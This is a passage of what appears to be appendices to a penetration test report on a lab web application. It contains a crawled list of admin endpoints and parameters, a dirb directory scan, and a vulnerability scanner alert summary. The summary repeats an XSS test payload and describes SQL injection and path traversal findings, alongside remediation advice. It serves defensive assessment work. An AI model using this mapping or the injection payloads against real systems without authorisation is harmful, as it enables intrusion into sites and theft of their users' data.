true,GET,http://192.168.1.10/admin/ADMIN/ADS/css/bootstrap.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/offcanvas.css 
true,GET,http://192.168.1.10/admin/assets/js/ie8-responsive-file-warning.js 
true,GET,http://192.168.1.10/admin/dist/js/bootstrap.min.js 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/offcanvas.js 
true,GET,http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-theme.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/AS/css/bootstrap.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/AS/offcanvas.css 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/customer.png 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/aalogo.jpg 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/message.png 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/head.png 
true,GET,http://192.168.1.10/admin/ADMIN/AS/offcanvas.js 
true,GET,http://192.168.1.10/admin/ADMIN/AS/aalogo.jpg 
true,POST,"http://192.168.1.10/admin/ADMIN/AS/ ()(image,name)" 
true,POST,"http://192.168.1.10/admin/ADMIN/ADS/ ()(image,name)" 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/reports.php 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/orders.php 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/view_order_notif.php 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/css/bootstrap.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/offcanvas.css 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/offcanvas.js 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/aalogo.jpg 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/ico.png 
true,POST,"http://192.168.1.10/admin/ADMIN/OOS/ ()(image,name)" 
true,POST,"http://192.168.1.10/admin/index.php ()(password,username)" 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/AS/index.php ()(image,name)" 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/Customer_list.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/Customers.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/offcanvas.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/bootstrap.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.min.js 
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true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap.min.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/offcanvas.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/aalogo.jpg 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/head.png 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/customer.png 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/message.png 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/ADS/index.php ()(image,name)" 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/orders.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/reports.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order_notif.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/offcanvas.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/bootstrap.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/offcanvas.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/aalogo.jpg 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/ico.png 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/OOS/index.php ()(image,name)" 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php (id)(image,name)" 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_products.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/css/font-awesome.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/js/DT_bootstrap.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.dataTables.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php ()(from,submit,to)" 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/Archive.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products1.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap.min.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/jquery.min.js 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php ()(search) 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_product.php ()(delete,selector[])" 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/print_assetlist.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/rick.jpg 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/AS/ 
true,POST,"http://192.168.1.10/admin/ADMIN/AS/index.php ()(image,name)" 
true,POST,"http://192.168.1.10/admin/ADMIN/ADS/index.php ()(image,name)" 
true,GET,http://192.168.1.10/admin/ADMIN/AS/blog-post.html 
true,POST,"http://192.168.1.10/admin/ADMIN/OOS/index.php ()(image,name)" 
true,POST,"http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php (id)(image,name)" 
true,GET,http://192.168.1.10/admin/ADMIN/AS/add_new_products.php 
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true,GET,http://192.168.1.10/admin/ADMIN/AS/edit_product.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/AS/view_product.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/AS/Archive.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/AS/print_products.php 
true,GET,http://192.168.1.10/admin/ADMIN/AS/css/font-awesome.css 
true,GET,http://192.168.1.10/admin/ADMIN/AS/css/bootstrap.css 
true,GET,http://192.168.1.10/admin/ADMIN/AS/js/DT_bootstrap.js 
true,GET,http://192.168.1.10/admin/ADMIN/AS/js/jquery.dataTables.js 
true,GET,http://192.168.1.10/admin/ADMIN/AS/js/bootstrap.js 
true,POST,"http://192.168.1.10/admin/ADMIN/AS/print_products.php ()(from,submit,to)" 
true,GET,http://192.168.1.10/admin/ADMIN/AS/js/jquery-1.7.2.min.js 
true,GET,http://192.168.1.10/admin/ADMIN/AS/js/bootstrap.min.js 
true,GET,http://192.168.1.10/admin/ADMIN/AS/jquery.min.js 
true,POST,http://192.168.1.10/admin/ADMIN/AS/asset.php ()(search) 
true,POST,"http://192.168.1.10/admin/ADMIN/AS/delete_product.php ()(delete,selector[])" 
true,GET,http://192.168.1.10/admin/ADMIN/AS/print_products1.php 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/blog-post.html 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/Archive.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/css/font-awesome.css 
true,POST,"http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php (id)(image,name)" 
true,POST,http://192.168.1.10/admin/ADMIN/ADS/Customers.php ()(search) 
true,POST,"http://192.168.1.10/admin/ADMIN/ADS/Delete_Customer.php ()(delete,selector[])" 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/print_Customerlist.php 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/css/bootstrap-theme.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/css/bootstrap.css 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/js/DT_bootstrap.js 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/js/bootstrap.js 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/js/jquery.dataTables.js 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/js/jquery-1.7.2.min.js 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/delete_announcement.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/edit_announcement.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/messages_box.php 
true,POST,http://192.168.1.10/admin/ADMIN/AS/ 
true,POST,http://192.168.1.10/admin/ADMIN/ADS/ 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/pending_order.php 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/print_orders.php 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/confirmed_order.php 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/confirm_order.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/view_order.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/delete_order.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/css/font-awesome.css 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/css/bootstrap.css 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/css/bootstrap-theme.min.css 
true,GET,http://192.168.1.10/js/DT_bootstrap.js 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/js/bootstrap.js 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/js/jquery-1.7.2.min.js 
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true,GET,http://192.168.1.10/admin/ADMIN/OOS/js/jquery.dataTables.js 
true,POST,"http://192.168.1.10/admin/ADMIN/OOS/print_orders.php ()(from,submit,to)" 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/blog-post.html 
true,POST,http://192.168.1.10/admin/ADMIN/OOS/ 
true,POST,"http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php (id)(image,name)" 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/AS/index.php 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php 
(id)(image,name)" 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/print_Customerlist.php 
true,GET,http://192.168.1.10/admin/ADMIN/index.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/bootstrap-theme.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/font-awesome.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/DT_bootstrap.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/add_new_announcement.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php 
true,GET,http://192.168.1.10/admin/img/aalogo.jpg 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/delete_announcement.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/edit_announcement.php (id) 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/ADS/index.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/pending_order.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirmed_order.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirm_order.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/delete_order.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/font-awesome.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/bootstrap.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/bootstrap-theme.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php ()(from,submit,to)" 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php 
(id)(image,name)" 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php (id) 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/OOS/index.php 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php 
(id)(description,id,name,price,quantity)" 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_product.php ()(delete) 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php 
()(brand,code,date,emp,id,life,method,name,price,supp,sv,type)" 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php ()(id,type)" 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php (id)(name) 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php (id) 
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true,POST,http://192.168.1.10/admin/ADMIN/ADS/index.php 
true,POST,http://192.168.1.10/admin/ADMIN/AS/index.php 
true,GET,http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1 
true,POST,http://192.168.1.10/admin/ADMIN/OOS/index.php 
true,POST,http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php (id) 
true,POST,"http://192.168.1.10/admin/ADMIN/AS/view_product.php 
(id)(description,id,name,price,quantity)" 
true,POST,http://192.168.1.10/admin/ADMIN/AS/delete_product.php ()(delete) 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1 
true,POST,"http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php 
(id)(Gender,address,bdate,city,cnumber,email,fname,lastname,middlename,password)" 
true,POST,http://192.168.1.10/admin/ADMIN/ADS/Delete_Customer.php ()(delete) 
true,POST,http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/reply.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/delete_message.php (id) 
true,GET,http://192.168.1.10/img/Hacklab.JPG 
true,POST,"http://192.168.1.10/admin/ADMIN/ADS/messages_box.php ()(message,submit)" 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1 
true,POST,http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/reply.php (id) 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/delete_message.php (id) 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php ()(message,submit)" 
true,POST,http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php (id) 
 
 
 
 
 
 
 
 
 

Appendix C ‘Dirb’ Scan 

 
dirb http://192.168.1.10/  
 
----------------- 
DIRB v2.22     
By The Dark Raver 
----------------- 
 
START_TIME: Thu Dec 29 10:41:02 2022 
URL_BASE: http://192.168.1.10/ 
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt 
 
----------------- 
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GENERATED WORDS: 4612                                                           
 
---- Scanning URL: http://192.168.1.10/ ---- 
==> DIRECTORY: http://192.168.1.10/admin/                                                                                                                                                                          
+ http://192.168.1.10/admin.cgi (CODE:403|SIZE:975)                                                                                                                                                                
+ http://192.168.1.10/admin.pl (CODE:403|SIZE:975)                                                                                                                                                                 
==> DIRECTORY: http://192.168.1.10/assets/                                                                                                                                                                         
+ http://192.168.1.10/AT-admin.cgi (CODE:403|SIZE:975)                                                                                                                                                             
+ http://192.168.1.10/cachemgr.cgi (CODE:403|SIZE:975)                                                                                                                                                             
+ http://192.168.1.10/cgi-bin/ (CODE:403|SIZE:989)                                                                                                                                                                 
==> DIRECTORY: http://192.168.1.10/database/                                                                                                                                                                       
==> DIRECTORY: http://192.168.1.10/img/                                                                                                                                                                            
==> DIRECTORY: http://192.168.1.10/include/                                                                                                                                                                        
+ http://192.168.1.10/index.php (CODE:200|SIZE:7443)                                                                                                                                                               
+ http://192.168.1.10/phpinfo.php (CODE:200|SIZE:76802)                                                                                                                                                            
+ http://192.168.1.10/phpmyadmin (CODE:401|SIZE:1222)                                                                                                                                                              
==> DIRECTORY: http://192.168.1.10/pictures/                                                                                                                                                                       
==> DIRECTORY: http://192.168.1.10/production/                                                                                                                                                                     
+ http://192.168.1.10/robots.txt (CODE:200|SIZE:36)                                                                                                                                                                
                                                                                                                                                                                                                   
---- Entering directory: http://192.168.1.10/admin/ ---- 
==> DIRECTORY: http://192.168.1.10/admin/ADMIN/                                                                                                                                                                    
+ http://192.168.1.10/admin/admin.cgi (CODE:403|SIZE:975)                                                                                                                                                          
+ http://192.168.1.10/admin/admin.pl (CODE:403|SIZE:975)                                                                                                                                                           
==> DIRECTORY: http://192.168.1.10/admin/assets/                                                                                                                                                                   
+ http://192.168.1.10/admin/AT-admin.cgi (CODE:403|SIZE:975)                                                                                                                                                       
+ http://192.168.1.10/admin/cachemgr.cgi (CODE:403|SIZE:975)                                                                                                                                                       
+ http://192.168.1.10/admin/error_log (CODE:200|SIZE:1320)                                                                                                                                                         
==> DIRECTORY: http://192.168.1.10/admin/include/                                                                                                                                                                  
+ http://192.168.1.10/admin/index.php (CODE:200|SIZE:2654)                                                                                                                                                         
                                                                                                                                                                                                                   
---- Entering directory: http://192.168.1.10/assets/ ---- 
(!) WARNING: Directory IS LISTABLE. No need to scan it.                         
    (Use mode '-w' if you want to scan it anyway) 
                                                                                                                                                                                                                   
---- Entering directory: http://192.168.1.10/database/ ---- 
(!) WARNING: Directory IS LISTABLE. No need to scan it.                         
    (Use mode '-w' if you want to scan it anyway) 
                                                                                                                                                                                                                   
---- Entering directory: http://192.168.1.10/img/ ---- 
(!) WARNING: Directory IS LISTABLE. No need to scan it.                         
    (Use mode '-w' if you want to scan it anyway) 
                                                                                                                                                                                                                   
---- Entering directory: http://192.168.1.10/include/ ---- 
(!) WARNING: Directory IS LISTABLE. No need to scan it.                         
    (Use mode '-w' if you want to scan it anyway) 
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---- Entering directory: http://192.168.1.10/pictures/ ---- 
(!) WARNING: Directory IS LISTABLE. No need to scan it.                         
    (Use mode '-w' if you want to scan it anyway) 
                                                                                                                                                                                                                   
---- Entering directory: http://192.168.1.10/production/ ---- 
(!) WARNING: Directory IS LISTABLE. No need to scan it.                         
    (Use mode '-w' if you want to scan it anyway) 
                                                                                                                                                                                                                   
---- Entering directory: http://192.168.1.10/admin/ADMIN/ ---- 
(!) WARNING: Directory IS LISTABLE. No need to scan it.                         
    (Use mode '-w' if you want to scan it anyway) 
                                                                                                                                                                                                                   
---- Entering directory: http://192.168.1.10/admin/assets/ ---- 
(!) WARNING: Directory IS LISTABLE. No need to scan it.                         
    (Use mode '-w' if you want to scan it anyway) 
                                                                                                                                                                                                                   
---- Entering directory: http://192.168.1.10/admin/include/ ---- 
(!) WARNING: Directory IS LISTABLE. No need to scan it.                         
    (Use mode '-w' if you want to scan it anyway) 
                                                                                
----------------- 
END_TIME: Thu Dec 29 10:41:26 2022 
DOWNLOADED: 9224 - FOUND: 15 
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Summary of Alerts

Risk Level Number of Alerts

High 4

Medium 8

Low 7

Informational 2

Alerts

Name Risk Level
Number of 
Instances

Cross Site Scripting (Persistent) High 14

Cross Site Scripting (Reflected) High 69

Path Traversal High 1

SQL Injection - MySQL High 28

.htaccess Information Leak Medium 1

Absence of Anti-CSRF Tokens Medium 352

Application Error Disclosure Medium 625

Content Security Policy (CSP) Header Not Set Medium 1076

Directory Browsing Medium 109

Missing Anti-clickjacking Header Medium 997

Vulnerable JS Library Medium 84

Weak Authentication Method Medium 2

Cookie No HttpOnly Flag Low 2

Cookie without SameSite Attribute Low 2

Cross-Domain JavaScript Source File Inclusion Low 919

Private IP Disclosure Low 2

Server Leaks Information via "X-Powered-By" 
HTTP Response Header Field(s)

Low 494

Timestamp Disclosure - Unix Low 148

X-Content-Type-Options Header Missing Low 2784

Content-Type Header Missing Informational 23

Information Disclosure - Suspicious Comments Informational 525

Alert Detail

High Cross Site Scripting (Persistent)



Description

Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied 
code into a user's browser instance. A browser instance can be a standard web browser 
client, or a browser object embedded in a software product such as the browser within 
WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML
/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-
supported technology.

When an attacker gets a user's browser to execute his/her code, the code will run within the 
security context (or zone) of the hosting web site. With this level of privilege, the code has 
the ability to read, modify and transmit any sensitive data accessible by the browser. A 
Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser 
redirected to another location, or possibly shown fraudulent content delivered by the web 
site they are visiting. Cross-site Scripting attacks essentially compromise the trust 
relationship between a user and the web site. Applications utilizing browser object instances 
which load content from the file system may execute code under the local machine zone 
allowing for system compromise.

There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-
based.

Non-persistent attacks and DOM-based attacks require a user to either visit a specially 
crafted link laced with malicious code, or visit a malicious web page containing a web form, 
which when posted to the vulnerable site, will mount the attack. Using a malicious form will 
oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In 
such a case, the form can be submitted automatically, without the victim's knowledge (e.g. 
by using JavaScript). Upon clicking on the malicious link or submitting the malicious form, 
the XSS payload will get echoed back and will get interpreted by the user's browser and 
execute. Another technique to send almost arbitrary requests (GET and POST) is by using 
an embedded client, such as Adobe Flash.

Persistent attacks occur when the malicious code is submitted to a web site where it's 
stored for a period of time. Examples of an attacker's favorite targets often include message 
board posts, web mail messages, and web chat software. The unsuspecting user is not 
required to interact with any additional site/link (e.g. an attacker site or a malicious link sent 
via email), just simply view the web page containing the code.

URL http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>
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Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

URL http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php

Method GET

Attack </td><script>alert(1);</script><td>

Evidence

Instances 14

Phase: Architecture and Design

Use a vetted library or framework that does not allow this weakness to occur or provides 
constructs that make this weakness easier to avoid.

http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php
http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php
http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php
http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php
http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php
http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php
http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php
http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php
http://192.168.1.10:80/admin/ADMIN/SERVER//print_all_changes.php


Solution

Examples of libraries and frameworks that make it easier to generate properly encoded 
output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and 
Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be 
expected. This is especially important when transmitting data between different 
components, or when generating outputs that can contain multiple encodings at the same 
time, such as web pages or multi-part mail messages. Study all expected communication 
protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received 
from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Consult the XSS Prevention Cheat Sheet for more details on the types of encoding and 
escaping that are needed.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are 
duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-
side checks by modifying values after the checks have been performed, or by changing the 
client to remove the client-side checks entirely. Then, these modified values would be 
submitted to the server.

If available, use structured mechanisms that automatically enforce the separation between 
data and code. These mechanisms may be able to provide the relevant quoting, encoding, 
and validation automatically, instead of relying on the developer to provide this capability at 
every point where output is generated.

Phase: Implementation

For every web page that is generated, use and specify a character encoding such as ISO-
8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a 
different encoding by guessing which encoding is actually being used by the web page. This 
can cause the web browser to treat certain sequences as special, opening up the client to 
subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping.

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be 
HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of 
Internet Explorer and Firefox), this attribute can prevent the user's session cookie from 
being accessible to malicious client-side scripts that use document.cookie. This is not a 
complete solution, since HttpOnly is not supported by all browsers. More importantly, 
XMLHTTPRequest and other powerful browser technologies provide read access to HTTP 
headers, including the Set-Cookie header in which the HttpOnly flag is set.

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., 
use an allow list of acceptable inputs that strictly conform to specifications. Reject any input 
that does not strictly conform to specifications, or transform it into something that does. Do 
not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny 
list). However, deny lists can be useful for detecting potential attacks or determining which 
inputs are so malformed that they should be rejected outright.

When performing input validation, consider all potentially relevant properties, including 
length, type of input, the full range of acceptable values, missing or extra inputs, syntax, 
consistency across related fields, and conformance to business rules. As an example of 
business rule logic, "boat" may be syntactically valid because it only contains alphanumeric 
characters, but it is not valid if you are expecting colors such as "red" or "blue."

Ensure that you perform input validation at well-defined interfaces within the application. 
This will help protect the application even if a component is reused or moved elsewhere.

Reference  http://projects.webappsec.org/Cross-Site-Scripting
http://cwe.mitre.org/data/definitions/79.html

CWE Id 79

WASC Id 8

http://projects.webappsec.org/Cross-Site-Scripting
http://cwe.mitre.org/data/definitions/79.html
https://cwe.mitre.org/data/definitions/79.html


Plugin Id 40014

High Cross Site Scripting (Reflected)

Description

Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied 
code into a user's browser instance. A browser instance can be a standard web browser 
client, or a browser object embedded in a software product such as the browser within 
WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML
/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-
supported technology.

When an attacker gets a user's browser to execute his/her code, the code will run within the 
security context (or zone) of the hosting web site. With this level of privilege, the code has 
the ability to read, modify and transmit any sensitive data accessible by the browser. A 
Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser 
redirected to another location, or possibly shown fraudulent content delivered by the web 
site they are visiting. Cross-site Scripting attacks essentially compromise the trust 
relationship between a user and the web site. Applications utilizing browser object instances 
which load content from the file system may execute code under the local machine zone 
allowing for system compromise.

There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-
based.

Non-persistent attacks and DOM-based attacks require a user to either visit a specially 
crafted link laced with malicious code, or visit a malicious web page containing a web form, 
which when posted to the vulnerable site, will mount the attack. Using a malicious form will 
